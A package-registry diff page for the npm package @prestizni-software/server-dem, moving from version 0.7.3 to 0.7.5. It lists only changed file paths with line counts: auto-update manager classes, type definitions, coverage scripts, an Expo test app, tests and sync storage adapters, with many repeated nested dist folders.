@prestizni-software/server-dem 0.7.3 → 0.7.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (525) hide show
  1. package/AutoUpdateClientManagerClass.d.ts +141 -0
  2. package/AutoUpdateClientManagerClass.js +656 -0
  3. package/AutoUpdateClientManagerClass.js.map +1 -0
  4. package/AutoUpdateManagerClass.d.ts +102 -0
  5. package/AutoUpdateManagerClass.js +117 -0
  6. package/AutoUpdateManagerClass.js.map +1 -0
  7. package/AutoUpdateServerManagerClass.d.ts +208 -0
  8. package/AutoUpdateServerManagerClass.js +913 -0
  9. package/AutoUpdateServerManagerClass.js.map +1 -0
  10. package/AutoUpdatedClientObjectClass.d.ts +215 -0
  11. package/AutoUpdatedClientObjectClass.js +911 -0
  12. package/AutoUpdatedClientObjectClass.js.map +1 -0
  13. package/AutoUpdatedServerObjectClass.d.ts +134 -0
  14. package/AutoUpdatedServerObjectClass.js +346 -0
  15. package/AutoUpdatedServerObjectClass.js.map +1 -0
  16. package/ClientTypes.d.ts +15 -0
  17. package/ClientTypes.js +52 -0
  18. package/ClientTypes.js.map +1 -0
  19. package/CommonTypes.d.ts +259 -0
  20. package/CommonTypes.js +233 -0
  21. package/CommonTypes.js.map +1 -0
  22. package/CommonTypes_server.d.ts +1 -0
  23. package/CommonTypes_server.js +2 -0
  24. package/CommonTypes_server.js.map +1 -0
  25. package/{dist/DEMErrors.d.ts → DEMErrors.d.ts} +22 -2
  26. package/{dist/DEMErrors.js → DEMErrors.js} +22 -2
  27. package/{dist/DEMErrors.js.map → DEMErrors.js.map} +1 -1
  28. package/ServerTypes.d.ts +16 -0
  29. package/ServerTypes.js +60 -0
  30. package/ServerTypes.js.map +1 -0
  31. package/client.d.ts +6 -0
  32. package/client.js +7 -0
  33. package/client.js.map +1 -0
  34. package/coverage/lcov-report/block-navigation.js +71 -0
  35. package/coverage/lcov-report/block-navigation.js.map +1 -0
  36. package/coverage/lcov-report/prettify.js +478 -0
  37. package/coverage/lcov-report/prettify.js.map +1 -0
  38. package/coverage/lcov-report/sorter.js +177 -0
  39. package/coverage/lcov-report/sorter.js.map +1 -0
  40. package/dist/AutoUpdateClientManagerClass.d.ts +20 -0
  41. package/dist/AutoUpdateClientManagerClass.js +283 -0
  42. package/dist/AutoUpdateClientManagerClass.js.map +1 -0
  43. package/dist/AutoUpdateManagerClass.d.ts +17 -31
  44. package/dist/AutoUpdateManagerClass.js +15 -36
  45. package/dist/AutoUpdateManagerClass.js.map +1 -1
  46. package/dist/AutoUpdateServerManagerClass.d.ts +18 -118
  47. package/dist/AutoUpdateServerManagerClass.js +198 -583
  48. package/dist/AutoUpdateServerManagerClass.js.map +1 -1
  49. package/dist/AutoUpdatedClientObjectClass.d.ts +63 -92
  50. package/dist/AutoUpdatedClientObjectClass.js +660 -599
  51. package/dist/AutoUpdatedClientObjectClass.js.map +1 -1
  52. package/dist/AutoUpdatedServerObjectClass.d.ts +13 -33
  53. package/dist/AutoUpdatedServerObjectClass.js +92 -234
  54. package/dist/AutoUpdatedServerObjectClass.js.map +1 -1
  55. package/dist/ClientTypes.d.ts +13 -0
  56. package/dist/ClientTypes.js +70 -0
  57. package/dist/ClientTypes.js.map +1 -0
  58. package/dist/CommonTypes.d.ts +3 -220
  59. package/dist/CommonTypes.js +4 -188
  60. package/dist/CommonTypes.js.map +1 -1
  61. package/dist/CommonTypes_server.d.ts +1 -1
  62. package/dist/CommonTypes_server.js +2 -1
  63. package/dist/CommonTypes_server.js.map +1 -1
  64. package/dist/ServerTypes.d.ts +13 -0
  65. package/dist/ServerTypes.js +78 -0
  66. package/dist/ServerTypes.js.map +1 -0
  67. package/dist/TestTypes.d.ts +1 -0
  68. package/dist/TestTypes.js +7 -0
  69. package/dist/TestTypes.js.map +1 -0
  70. package/dist/client.d.ts +1 -0
  71. package/dist/client.js +12 -0
  72. package/dist/client.js.map +1 -0
  73. package/dist/coverage/lcov-report/block-navigation.d.ts +1 -0
  74. package/dist/coverage/lcov-report/block-navigation.js +71 -0
  75. package/dist/coverage/lcov-report/block-navigation.js.map +1 -0
  76. package/dist/coverage/lcov-report/prettify.d.ts +0 -0
  77. package/dist/coverage/lcov-report/prettify.js +736 -0
  78. package/dist/coverage/lcov-report/prettify.js.map +1 -0
  79. package/dist/coverage/lcov-report/sorter.d.ts +1 -0
  80. package/dist/coverage/lcov-report/sorter.js +177 -0
  81. package/dist/coverage/lcov-report/sorter.js.map +1 -0
  82. package/dist/dist/AutoUpdateClientManagerClass.d.ts +19 -0
  83. package/dist/dist/AutoUpdateClientManagerClass.js +284 -0
  84. package/dist/dist/AutoUpdateClientManagerClass.js.map +1 -0
  85. package/dist/dist/AutoUpdateManagerClass.d.ts +23 -0
  86. package/dist/dist/AutoUpdateManagerClass.js +60 -0
  87. package/dist/dist/AutoUpdateManagerClass.js.map +1 -0
  88. package/dist/dist/AutoUpdateServerManagerClass.d.ts +50 -0
  89. package/dist/dist/AutoUpdateServerManagerClass.js +413 -0
  90. package/dist/dist/AutoUpdateServerManagerClass.js.map +1 -0
  91. package/dist/dist/AutoUpdatedClientObjectClass.d.ts +72 -0
  92. package/dist/dist/AutoUpdatedClientObjectClass.js +865 -0
  93. package/dist/dist/AutoUpdatedClientObjectClass.js.map +1 -0
  94. package/dist/dist/AutoUpdatedServerObjectClass.d.ts +15 -0
  95. package/dist/dist/AutoUpdatedServerObjectClass.js +124 -0
  96. package/dist/dist/AutoUpdatedServerObjectClass.js.map +1 -0
  97. package/dist/dist/ClientTypes.d.ts +13 -0
  98. package/dist/dist/ClientTypes.js +71 -0
  99. package/dist/dist/ClientTypes.js.map +1 -0
  100. package/dist/dist/CommonTypes.d.ts +3 -0
  101. package/dist/dist/CommonTypes.js +20 -0
  102. package/dist/dist/CommonTypes.js.map +1 -0
  103. package/dist/dist/CommonTypes_server.d.ts +1 -0
  104. package/dist/dist/CommonTypes_server.js +4 -0
  105. package/dist/dist/CommonTypes_server.js.map +1 -0
  106. package/dist/dist/ServerTypes.d.ts +13 -0
  107. package/dist/dist/ServerTypes.js +79 -0
  108. package/dist/dist/ServerTypes.js.map +1 -0
  109. package/dist/dist/TestTypes.d.ts +1 -0
  110. package/dist/dist/TestTypes.js +8 -0
  111. package/dist/dist/TestTypes.js.map +1 -0
  112. package/dist/dist/client.d.ts +1 -0
  113. package/dist/dist/client.js +13 -0
  114. package/dist/dist/client.js.map +1 -0
  115. package/dist/dist/coverage/lcov-report/block-navigation.d.ts +1 -0
  116. package/dist/dist/coverage/lcov-report/block-navigation.js +71 -0
  117. package/dist/dist/coverage/lcov-report/block-navigation.js.map +1 -0
  118. package/dist/dist/coverage/lcov-report/prettify.d.ts +0 -0
  119. package/dist/dist/coverage/lcov-report/prettify.js +736 -0
  120. package/dist/dist/coverage/lcov-report/prettify.js.map +1 -0
  121. package/dist/dist/coverage/lcov-report/sorter.d.ts +1 -0
  122. package/dist/dist/coverage/lcov-report/sorter.js +177 -0
  123. package/dist/dist/coverage/lcov-report/sorter.js.map +1 -0
  124. package/dist/dist/dist/AutoUpdateClientManagerClass.d.ts +19 -0
  125. package/dist/dist/dist/AutoUpdateClientManagerClass.js +285 -0
  126. package/dist/dist/dist/AutoUpdateClientManagerClass.js.map +1 -0
  127. package/dist/dist/dist/AutoUpdateManagerClass.d.ts +23 -0
  128. package/dist/dist/dist/AutoUpdateManagerClass.js +61 -0
  129. package/dist/dist/dist/AutoUpdateManagerClass.js.map +1 -0
  130. package/dist/dist/dist/AutoUpdateServerManagerClass.d.ts +158 -0
  131. package/dist/dist/dist/AutoUpdateServerManagerClass.js +414 -0
  132. package/dist/dist/dist/AutoUpdateServerManagerClass.js.map +1 -0
  133. package/dist/dist/dist/AutoUpdatedClientObjectClass.d.ts +72 -0
  134. package/dist/dist/dist/AutoUpdatedClientObjectClass.js +866 -0
  135. package/dist/dist/dist/AutoUpdatedClientObjectClass.js.map +1 -0
  136. package/dist/dist/dist/AutoUpdatedServerObjectClass.d.ts +15 -0
  137. package/dist/dist/dist/AutoUpdatedServerObjectClass.js +125 -0
  138. package/dist/dist/dist/AutoUpdatedServerObjectClass.js.map +1 -0
  139. package/dist/dist/dist/ClientTypes.d.ts +13 -0
  140. package/dist/dist/dist/ClientTypes.js +72 -0
  141. package/dist/dist/dist/ClientTypes.js.map +1 -0
  142. package/dist/dist/dist/CommonTypes.d.ts +3 -0
  143. package/dist/dist/dist/CommonTypes.js +21 -0
  144. package/dist/dist/dist/CommonTypes.js.map +1 -0
  145. package/dist/dist/dist/CommonTypes_server.d.ts +1 -0
  146. package/dist/dist/dist/CommonTypes_server.js +5 -0
  147. package/dist/dist/dist/CommonTypes_server.js.map +1 -0
  148. package/dist/dist/dist/ServerTypes.d.ts +13 -0
  149. package/dist/dist/dist/ServerTypes.js +80 -0
  150. package/dist/dist/dist/ServerTypes.js.map +1 -0
  151. package/dist/dist/dist/TestTypes.d.ts +1 -0
  152. package/dist/dist/dist/TestTypes.js +9 -0
  153. package/dist/dist/dist/TestTypes.js.map +1 -0
  154. package/dist/dist/dist/client.d.ts +1 -0
  155. package/dist/dist/dist/client.js +14 -0
  156. package/dist/dist/dist/client.js.map +1 -0
  157. package/dist/dist/dist/coverage/lcov-report/block-navigation.d.ts +1 -0
  158. package/dist/dist/dist/coverage/lcov-report/block-navigation.js +71 -0
  159. package/dist/dist/dist/coverage/lcov-report/block-navigation.js.map +1 -0
  160. package/dist/dist/dist/coverage/lcov-report/prettify.d.ts +0 -0
  161. package/dist/dist/dist/coverage/lcov-report/prettify.js +736 -0
  162. package/dist/dist/dist/coverage/lcov-report/prettify.js.map +1 -0
  163. package/dist/dist/dist/coverage/lcov-report/sorter.d.ts +1 -0
  164. package/dist/dist/dist/coverage/lcov-report/sorter.js +177 -0
  165. package/dist/dist/dist/coverage/lcov-report/sorter.js.map +1 -0
  166. package/dist/dist/dist/expo-test/app/(tabs)/_layout.d.ts +1 -0
  167. package/dist/dist/dist/expo-test/app/(tabs)/_layout.js +27 -0
  168. package/dist/dist/dist/expo-test/app/(tabs)/_layout.js.map +1 -0
  169. package/dist/dist/dist/expo-test/app/(tabs)/explore.d.ts +1 -0
  170. package/dist/dist/dist/expo-test/app/(tabs)/explore.js +95 -0
  171. package/dist/dist/dist/expo-test/app/(tabs)/explore.js.map +1 -0
  172. package/dist/dist/dist/expo-test/app/(tabs)/index.d.ts +1 -0
  173. package/dist/dist/dist/expo-test/app/(tabs)/index.js +81 -0
  174. package/dist/dist/dist/expo-test/app/(tabs)/index.js.map +1 -0
  175. package/dist/dist/dist/expo-test/app/_layout.d.ts +4 -0
  176. package/dist/dist/dist/expo-test/app/_layout.js +22 -0
  177. package/dist/dist/dist/expo-test/app/_layout.js.map +1 -0
  178. package/dist/dist/dist/expo-test/app/modal.d.ts +1 -0
  179. package/dist/dist/dist/expo-test/app/modal.js +28 -0
  180. package/dist/dist/dist/expo-test/app/modal.js.map +1 -0
  181. package/dist/dist/dist/expo-test/components/external-link.d.ts +4 -0
  182. package/dist/dist/dist/expo-test/components/external-link.js +18 -0
  183. package/dist/dist/dist/expo-test/components/external-link.js.map +1 -0
  184. package/dist/dist/dist/expo-test/components/haptic-tab.d.ts +1 -0
  185. package/dist/dist/dist/expo-test/components/haptic-tab.js +15 -0
  186. package/dist/dist/dist/expo-test/components/haptic-tab.js.map +1 -0
  187. package/dist/dist/dist/expo-test/components/hello-wave.d.ts +1 -0
  188. package/dist/dist/dist/expo-test/components/hello-wave.js +19 -0
  189. package/dist/dist/dist/expo-test/components/hello-wave.js.map +1 -0
  190. package/dist/dist/dist/expo-test/components/parallax-scroll-view.d.ts +5 -0
  191. package/dist/dist/dist/expo-test/components/parallax-scroll-view.js +53 -0
  192. package/dist/dist/dist/expo-test/components/parallax-scroll-view.js.map +1 -0
  193. package/dist/dist/dist/expo-test/components/themed-text.d.ts +7 -0
  194. package/dist/dist/dist/expo-test/components/themed-text.js +43 -0
  195. package/dist/dist/dist/expo-test/components/themed-text.js.map +1 -0
  196. package/dist/dist/dist/expo-test/components/themed-view.d.ts +6 -0
  197. package/dist/dist/dist/expo-test/components/themed-view.js +10 -0
  198. package/dist/dist/dist/expo-test/components/themed-view.js.map +1 -0
  199. package/dist/dist/dist/expo-test/components/ui/collapsible.d.ts +4 -0
  200. package/dist/dist/dist/expo-test/components/ui/collapsible.js +34 -0
  201. package/dist/dist/dist/expo-test/components/ui/collapsible.js.map +1 -0
  202. package/dist/dist/dist/expo-test/components/ui/icon-symbol.d.ts +11 -0
  203. package/dist/dist/dist/expo-test/components/ui/icon-symbol.ios.d.ts +7 -0
  204. package/dist/dist/dist/expo-test/components/ui/icon-symbol.ios.js +14 -0
  205. package/dist/dist/dist/expo-test/components/ui/icon-symbol.ios.js.map +1 -0
  206. package/dist/dist/dist/expo-test/components/ui/icon-symbol.js +25 -0
  207. package/dist/dist/dist/expo-test/components/ui/icon-symbol.js.map +1 -0
  208. package/dist/dist/dist/expo-test/constants/theme.d.ts +26 -0
  209. package/dist/dist/dist/expo-test/constants/theme.js +53 -0
  210. package/dist/dist/dist/expo-test/constants/theme.js.map +1 -0
  211. package/dist/dist/dist/expo-test/eslint.config.d.ts +2 -0
  212. package/dist/dist/dist/expo-test/eslint.config.js +11 -0
  213. package/dist/dist/dist/expo-test/eslint.config.js.map +1 -0
  214. package/dist/dist/dist/expo-test/hooks/use-color-scheme.d.ts +1 -0
  215. package/dist/dist/dist/expo-test/hooks/use-color-scheme.js +5 -0
  216. package/dist/dist/dist/expo-test/hooks/use-color-scheme.js.map +1 -0
  217. package/dist/dist/dist/expo-test/hooks/use-color-scheme.web.d.ts +4 -0
  218. package/dist/dist/dist/expo-test/hooks/use-color-scheme.web.js +20 -0
  219. package/dist/dist/dist/expo-test/hooks/use-color-scheme.web.js.map +1 -0
  220. package/dist/dist/dist/expo-test/hooks/use-theme-color.d.ts +1 -0
  221. package/dist/dist/dist/expo-test/hooks/use-theme-color.js +20 -0
  222. package/dist/dist/dist/expo-test/hooks/use-theme-color.js.map +1 -0
  223. package/dist/dist/dist/expo-test/scripts/reset-project.d.ts +2 -0
  224. package/dist/dist/dist/expo-test/scripts/reset-project.js +98 -0
  225. package/dist/dist/dist/expo-test/scripts/reset-project.js.map +1 -0
  226. package/dist/dist/dist/jest.config.d.ts +21 -0
  227. package/dist/dist/dist/jest.config.js +20 -0
  228. package/dist/dist/dist/jest.config.js.map +1 -0
  229. package/dist/dist/dist/server.d.ts +1 -0
  230. package/dist/dist/dist/server.js +16 -0
  231. package/dist/dist/dist/server.js.map +1 -0
  232. package/dist/dist/dist/socket_test.d.ts +1 -0
  233. package/dist/dist/dist/socket_test.js +24 -0
  234. package/dist/dist/dist/socket_test.js.map +1 -0
  235. package/dist/dist/dist/test.d.ts +1 -0
  236. package/dist/dist/dist/test.js +7 -0
  237. package/dist/dist/dist/test.js.map +1 -0
  238. package/dist/dist/dist/test_client.d.ts +1 -0
  239. package/dist/dist/dist/test_client.js +26 -0
  240. package/dist/dist/dist/test_client.js.map +1 -0
  241. package/dist/dist/dist/test_lib.d.ts +2 -0
  242. package/dist/dist/dist/test_lib.js +85 -0
  243. package/dist/dist/dist/test_lib.js.map +1 -0
  244. package/dist/dist/dist/test_server.d.ts +1 -0
  245. package/dist/dist/dist/test_server.js +54 -0
  246. package/dist/dist/dist/test_server.js.map +1 -0
  247. package/dist/dist/dist/tests/dem.test.d.ts +1 -0
  248. package/dist/dist/dist/tests/dem.test.js +341 -0
  249. package/dist/dist/dist/tests/dem.test.js.map +1 -0
  250. package/dist/dist/expo-test/app/(tabs)/_layout.d.ts +1 -0
  251. package/dist/dist/expo-test/app/(tabs)/_layout.js +26 -0
  252. package/dist/dist/expo-test/app/(tabs)/_layout.js.map +1 -0
  253. package/dist/dist/expo-test/app/(tabs)/explore.d.ts +1 -0
  254. package/dist/dist/expo-test/app/(tabs)/explore.js +94 -0
  255. package/dist/dist/expo-test/app/(tabs)/explore.js.map +1 -0
  256. package/dist/dist/expo-test/app/(tabs)/index.d.ts +1 -0
  257. package/dist/dist/expo-test/app/(tabs)/index.js +80 -0
  258. package/dist/dist/expo-test/app/(tabs)/index.js.map +1 -0
  259. package/dist/dist/expo-test/app/_layout.d.ts +4 -0
  260. package/dist/dist/expo-test/app/_layout.js +21 -0
  261. package/dist/dist/expo-test/app/_layout.js.map +1 -0
  262. package/dist/dist/expo-test/app/modal.d.ts +1 -0
  263. package/dist/dist/expo-test/app/modal.js +27 -0
  264. package/dist/dist/expo-test/app/modal.js.map +1 -0
  265. package/dist/dist/expo-test/components/external-link.d.ts +4 -0
  266. package/dist/dist/expo-test/components/external-link.js +17 -0
  267. package/dist/dist/expo-test/components/external-link.js.map +1 -0
  268. package/dist/dist/expo-test/components/haptic-tab.d.ts +1 -0
  269. package/dist/dist/expo-test/components/haptic-tab.js +14 -0
  270. package/dist/dist/expo-test/components/haptic-tab.js.map +1 -0
  271. package/dist/dist/expo-test/components/hello-wave.d.ts +1 -0
  272. package/dist/dist/expo-test/components/hello-wave.js +18 -0
  273. package/dist/dist/expo-test/components/hello-wave.js.map +1 -0
  274. package/dist/dist/expo-test/components/parallax-scroll-view.d.ts +5 -0
  275. package/dist/dist/expo-test/components/parallax-scroll-view.js +52 -0
  276. package/dist/dist/expo-test/components/parallax-scroll-view.js.map +1 -0
  277. package/dist/dist/expo-test/components/themed-text.d.ts +7 -0
  278. package/dist/dist/expo-test/components/themed-text.js +42 -0
  279. package/dist/dist/expo-test/components/themed-text.js.map +1 -0
  280. package/dist/dist/expo-test/components/themed-view.d.ts +6 -0
  281. package/dist/dist/expo-test/components/themed-view.js +9 -0
  282. package/dist/dist/expo-test/components/themed-view.js.map +1 -0
  283. package/dist/dist/expo-test/components/ui/collapsible.d.ts +4 -0
  284. package/dist/dist/expo-test/components/ui/collapsible.js +33 -0
  285. package/dist/dist/expo-test/components/ui/collapsible.js.map +1 -0
  286. package/dist/dist/expo-test/components/ui/icon-symbol.d.ts +11 -0
  287. package/dist/dist/expo-test/components/ui/icon-symbol.ios.d.ts +7 -0
  288. package/dist/dist/expo-test/components/ui/icon-symbol.ios.js +13 -0
  289. package/dist/dist/expo-test/components/ui/icon-symbol.ios.js.map +1 -0
  290. package/dist/dist/expo-test/components/ui/icon-symbol.js +24 -0
  291. package/dist/dist/expo-test/components/ui/icon-symbol.js.map +1 -0
  292. package/dist/dist/expo-test/constants/theme.d.ts +26 -0
  293. package/dist/dist/expo-test/constants/theme.js +52 -0
  294. package/dist/dist/expo-test/constants/theme.js.map +1 -0
  295. package/dist/dist/expo-test/eslint.config.d.ts +2 -0
  296. package/dist/dist/expo-test/eslint.config.js +11 -0
  297. package/dist/dist/expo-test/eslint.config.js.map +1 -0
  298. package/dist/dist/expo-test/hooks/use-color-scheme.d.ts +1 -0
  299. package/dist/dist/expo-test/hooks/use-color-scheme.js +4 -0
  300. package/dist/dist/expo-test/hooks/use-color-scheme.js.map +1 -0
  301. package/dist/dist/expo-test/hooks/use-color-scheme.web.d.ts +4 -0
  302. package/dist/dist/expo-test/hooks/use-color-scheme.web.js +19 -0
  303. package/dist/dist/expo-test/hooks/use-color-scheme.web.js.map +1 -0
  304. package/dist/dist/expo-test/hooks/use-theme-color.d.ts +1 -0
  305. package/dist/dist/expo-test/hooks/use-theme-color.js +19 -0
  306. package/dist/dist/expo-test/hooks/use-theme-color.js.map +1 -0
  307. package/dist/dist/expo-test/scripts/reset-project.d.ts +2 -0
  308. package/dist/dist/expo-test/scripts/reset-project.js +98 -0
  309. package/dist/dist/expo-test/scripts/reset-project.js.map +1 -0
  310. package/dist/dist/jest.config.d.ts +21 -0
  311. package/dist/dist/jest.config.js +19 -0
  312. package/dist/dist/jest.config.js.map +1 -0
  313. package/dist/dist/server.d.ts +1 -0
  314. package/dist/dist/server.js +15 -0
  315. package/dist/dist/server.js.map +1 -0
  316. package/dist/dist/socket_test.d.ts +1 -0
  317. package/dist/dist/socket_test.js +23 -0
  318. package/dist/dist/socket_test.js.map +1 -0
  319. package/dist/dist/test.d.ts +1 -0
  320. package/dist/dist/test.js +6 -0
  321. package/dist/dist/test.js.map +1 -0
  322. package/dist/dist/test_client.d.ts +1 -0
  323. package/dist/dist/test_client.js +25 -0
  324. package/dist/dist/test_client.js.map +1 -0
  325. package/dist/dist/test_lib.d.ts +2 -0
  326. package/dist/dist/test_lib.js +84 -0
  327. package/dist/dist/test_lib.js.map +1 -0
  328. package/dist/dist/test_server.d.ts +1 -0
  329. package/dist/dist/test_server.js +53 -0
  330. package/dist/dist/test_server.js.map +1 -0
  331. package/dist/dist/tests/dem.test.d.ts +1 -0
  332. package/dist/dist/tests/dem.test.js +340 -0
  333. package/dist/dist/tests/dem.test.js.map +1 -0
  334. package/dist/expo-test/app/(tabs)/_layout.d.ts +1 -0
  335. package/dist/expo-test/app/(tabs)/_layout.js +25 -0
  336. package/dist/expo-test/app/(tabs)/_layout.js.map +1 -0
  337. package/dist/expo-test/app/(tabs)/explore.d.ts +1 -0
  338. package/dist/expo-test/app/(tabs)/explore.js +93 -0
  339. package/dist/expo-test/app/(tabs)/explore.js.map +1 -0
  340. package/dist/expo-test/app/(tabs)/index.d.ts +1 -0
  341. package/dist/expo-test/app/(tabs)/index.js +79 -0
  342. package/dist/expo-test/app/(tabs)/index.js.map +1 -0
  343. package/dist/expo-test/app/_layout.d.ts +4 -0
  344. package/dist/expo-test/app/_layout.js +20 -0
  345. package/dist/expo-test/app/_layout.js.map +1 -0
  346. package/dist/expo-test/app/modal.d.ts +1 -0
  347. package/dist/expo-test/app/modal.js +26 -0
  348. package/dist/expo-test/app/modal.js.map +1 -0
  349. package/dist/expo-test/components/external-link.d.ts +4 -0
  350. package/dist/expo-test/components/external-link.js +16 -0
  351. package/dist/expo-test/components/external-link.js.map +1 -0
  352. package/dist/expo-test/components/haptic-tab.d.ts +1 -0
  353. package/dist/expo-test/components/haptic-tab.js +13 -0
  354. package/dist/expo-test/components/haptic-tab.js.map +1 -0
  355. package/dist/expo-test/components/hello-wave.d.ts +1 -0
  356. package/dist/expo-test/components/hello-wave.js +17 -0
  357. package/dist/expo-test/components/hello-wave.js.map +1 -0
  358. package/dist/expo-test/components/parallax-scroll-view.d.ts +5 -0
  359. package/dist/expo-test/components/parallax-scroll-view.js +51 -0
  360. package/dist/expo-test/components/parallax-scroll-view.js.map +1 -0
  361. package/dist/expo-test/components/themed-text.d.ts +7 -0
  362. package/dist/expo-test/components/themed-text.js +41 -0
  363. package/dist/expo-test/components/themed-text.js.map +1 -0
  364. package/dist/expo-test/components/themed-view.d.ts +6 -0
  365. package/dist/expo-test/components/themed-view.js +8 -0
  366. package/dist/expo-test/components/themed-view.js.map +1 -0
  367. package/dist/expo-test/components/ui/collapsible.d.ts +4 -0
  368. package/dist/expo-test/components/ui/collapsible.js +32 -0
  369. package/dist/expo-test/components/ui/collapsible.js.map +1 -0
  370. package/dist/expo-test/components/ui/icon-symbol.d.ts +11 -0
  371. package/dist/expo-test/components/ui/icon-symbol.ios.d.ts +7 -0
  372. package/dist/expo-test/components/ui/icon-symbol.ios.js +12 -0
  373. package/dist/expo-test/components/ui/icon-symbol.ios.js.map +1 -0
  374. package/dist/expo-test/components/ui/icon-symbol.js +23 -0
  375. package/dist/expo-test/components/ui/icon-symbol.js.map +1 -0
  376. package/dist/expo-test/constants/theme.d.ts +26 -0
  377. package/dist/expo-test/constants/theme.js +51 -0
  378. package/dist/expo-test/constants/theme.js.map +1 -0
  379. package/dist/expo-test/eslint.config.d.ts +2 -0
  380. package/dist/expo-test/eslint.config.js +11 -0
  381. package/dist/expo-test/eslint.config.js.map +1 -0
  382. package/dist/expo-test/hooks/use-color-scheme.d.ts +1 -0
  383. package/dist/expo-test/hooks/use-color-scheme.js +3 -0
  384. package/dist/expo-test/hooks/use-color-scheme.js.map +1 -0
  385. package/dist/expo-test/hooks/use-color-scheme.web.d.ts +4 -0
  386. package/dist/expo-test/hooks/use-color-scheme.web.js +18 -0
  387. package/dist/expo-test/hooks/use-color-scheme.web.js.map +1 -0
  388. package/dist/expo-test/hooks/use-theme-color.d.ts +1 -0
  389. package/dist/expo-test/hooks/use-theme-color.js +18 -0
  390. package/dist/expo-test/hooks/use-theme-color.js.map +1 -0
  391. package/dist/expo-test/scripts/reset-project.d.ts +2 -0
  392. package/dist/expo-test/scripts/reset-project.js +98 -0
  393. package/dist/expo-test/scripts/reset-project.js.map +1 -0
  394. package/dist/jest.config.d.ts +21 -0
  395. package/dist/jest.config.js +18 -0
  396. package/dist/jest.config.js.map +1 -0
  397. package/dist/server.d.ts +1 -8
  398. package/dist/server.js +13 -8
  399. package/dist/server.js.map +1 -1
  400. package/dist/socket_test.d.ts +1 -0
  401. package/dist/socket_test.js +22 -0
  402. package/dist/socket_test.js.map +1 -0
  403. package/dist/test.d.ts +1 -0
  404. package/dist/test.js +5 -0
  405. package/dist/test.js.map +1 -0
  406. package/dist/test_client.d.ts +1 -0
  407. package/dist/test_client.js +24 -0
  408. package/dist/test_client.js.map +1 -0
  409. package/dist/test_lib.d.ts +12 -0
  410. package/dist/test_lib.js +83 -0
  411. package/dist/test_lib.js.map +1 -0
  412. package/dist/test_server.d.ts +1 -0
  413. package/dist/test_server.js +52 -0
  414. package/dist/test_server.js.map +1 -0
  415. package/dist/tests/dem.test.d.ts +1 -0
  416. package/dist/tests/dem.test.js +339 -0
  417. package/dist/tests/dem.test.js.map +1 -0
  418. package/expo-test/app/(tabs)/_layout.d.ts +2 -0
  419. package/expo-test/app/(tabs)/_layout.js +24 -0
  420. package/expo-test/app/(tabs)/_layout.js.map +1 -0
  421. package/expo-test/app/(tabs)/explore.d.ts +1 -0
  422. package/expo-test/app/(tabs)/explore.js +92 -0
  423. package/expo-test/app/(tabs)/explore.js.map +1 -0
  424. package/expo-test/app/(tabs)/index.d.ts +1 -0
  425. package/expo-test/app/(tabs)/index.js +78 -0
  426. package/expo-test/app/(tabs)/index.js.map +1 -0
  427. package/expo-test/app/_layout.d.ts +5 -0
  428. package/expo-test/app/_layout.js +19 -0
  429. package/expo-test/app/_layout.js.map +1 -0
  430. package/expo-test/app/modal.d.ts +1 -0
  431. package/expo-test/app/modal.js +25 -0
  432. package/expo-test/app/modal.js.map +1 -0
  433. package/expo-test/components/external-link.d.ts +7 -0
  434. package/expo-test/components/external-link.js +15 -0
  435. package/expo-test/components/external-link.js.map +1 -0
  436. package/expo-test/components/haptic-tab.d.ts +2 -0
  437. package/expo-test/components/haptic-tab.js +12 -0
  438. package/expo-test/components/haptic-tab.js.map +1 -0
  439. package/expo-test/components/hello-wave.d.ts +1 -0
  440. package/expo-test/components/hello-wave.js +16 -0
  441. package/expo-test/components/hello-wave.js.map +1 -0
  442. package/expo-test/components/parallax-scroll-view.d.ts +10 -0
  443. package/expo-test/components/parallax-scroll-view.js +50 -0
  444. package/expo-test/components/parallax-scroll-view.js.map +1 -0
  445. package/expo-test/components/themed-text.d.ts +7 -0
  446. package/expo-test/components/themed-text.js +40 -0
  447. package/expo-test/components/themed-text.js.map +1 -0
  448. package/expo-test/components/themed-view.d.ts +6 -0
  449. package/expo-test/components/themed-view.js +7 -0
  450. package/expo-test/components/themed-view.js.map +1 -0
  451. package/expo-test/components/ui/collapsible.d.ts +4 -0
  452. package/expo-test/components/ui/collapsible.js +31 -0
  453. package/expo-test/components/ui/collapsible.js.map +1 -0
  454. package/expo-test/components/ui/icon-symbol.d.ts +25 -0
  455. package/expo-test/components/ui/icon-symbol.ios.d.ts +9 -0
  456. package/expo-test/components/ui/icon-symbol.ios.js +11 -0
  457. package/expo-test/components/ui/icon-symbol.ios.js.map +1 -0
  458. package/expo-test/components/ui/icon-symbol.js +22 -0
  459. package/expo-test/components/ui/icon-symbol.js.map +1 -0
  460. package/expo-test/constants/theme.d.ts +32 -0
  461. package/expo-test/constants/theme.js +50 -0
  462. package/expo-test/constants/theme.js.map +1 -0
  463. package/expo-test/eslint.config.d.ts +2 -0
  464. package/expo-test/eslint.config.js +11 -0
  465. package/expo-test/eslint.config.js.map +1 -0
  466. package/expo-test/hooks/use-color-scheme.d.ts +1 -0
  467. package/expo-test/hooks/use-color-scheme.js +2 -0
  468. package/expo-test/hooks/use-color-scheme.js.map +1 -0
  469. package/expo-test/hooks/use-color-scheme.web.d.ts +4 -0
  470. package/expo-test/hooks/use-color-scheme.web.js +17 -0
  471. package/expo-test/hooks/use-color-scheme.web.js.map +1 -0
  472. package/expo-test/hooks/use-theme-color.d.ts +9 -0
  473. package/expo-test/hooks/use-theme-color.js +17 -0
  474. package/expo-test/hooks/use-theme-color.js.map +1 -0
  475. package/expo-test/scripts/reset-project.d.ts +2 -0
  476. package/expo-test/scripts/reset-project.js +98 -0
  477. package/expo-test/scripts/reset-project.js.map +1 -0
  478. package/index.d.ts +4 -0
  479. package/index.js +5 -0
  480. package/index.js.map +1 -0
  481. package/jest.config.d.ts +3 -0
  482. package/jest.config.js +17 -0
  483. package/jest.config.js.map +1 -0
  484. package/package.json +23 -42
  485. package/server.d.ts +8 -0
  486. package/server.js +9 -0
  487. package/server.js.map +1 -0
  488. package/{dist/sync → sync}/ClientStateReconciler.d.ts +20 -0
  489. package/{dist/sync → sync}/ClientStateReconciler.js +20 -0
  490. package/sync/ClientStateReconciler.js.map +1 -0
  491. package/{dist/sync → sync}/ServerChangeTracker.d.ts +46 -0
  492. package/{dist/sync → sync}/ServerChangeTracker.js +46 -0
  493. package/sync/ServerChangeTracker.js.map +1 -0
  494. package/sync/storage/IndexedDbStorageAdapter.d.ts +53 -0
  495. package/{dist/sync → sync}/storage/IndexedDbStorageAdapter.js +31 -0
